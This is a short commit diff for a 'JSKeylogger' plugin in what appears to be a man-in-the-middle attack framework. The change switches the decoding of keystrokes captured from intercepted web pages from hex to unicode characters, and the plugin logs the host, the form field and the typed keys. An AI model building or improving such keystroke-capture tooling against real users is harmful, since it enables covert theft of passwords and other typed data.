Add unicode support for jskeylogger plugin, fixes #56

This commit is contained in:
HAMIDx9 2015-08-24 04:49:29 +04:30
parent 05588febef
commit 752fafaf4b
2 changed files with 7 additions and 7 deletions

View file

@ -52,11 +52,11 @@ class JSKeylogger(Inject, Plugin):
nice = ''
else:
try:
nice += n.decode('hex')
nice += unichr(int(n))
except:
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
def options(self, options):
pass
pass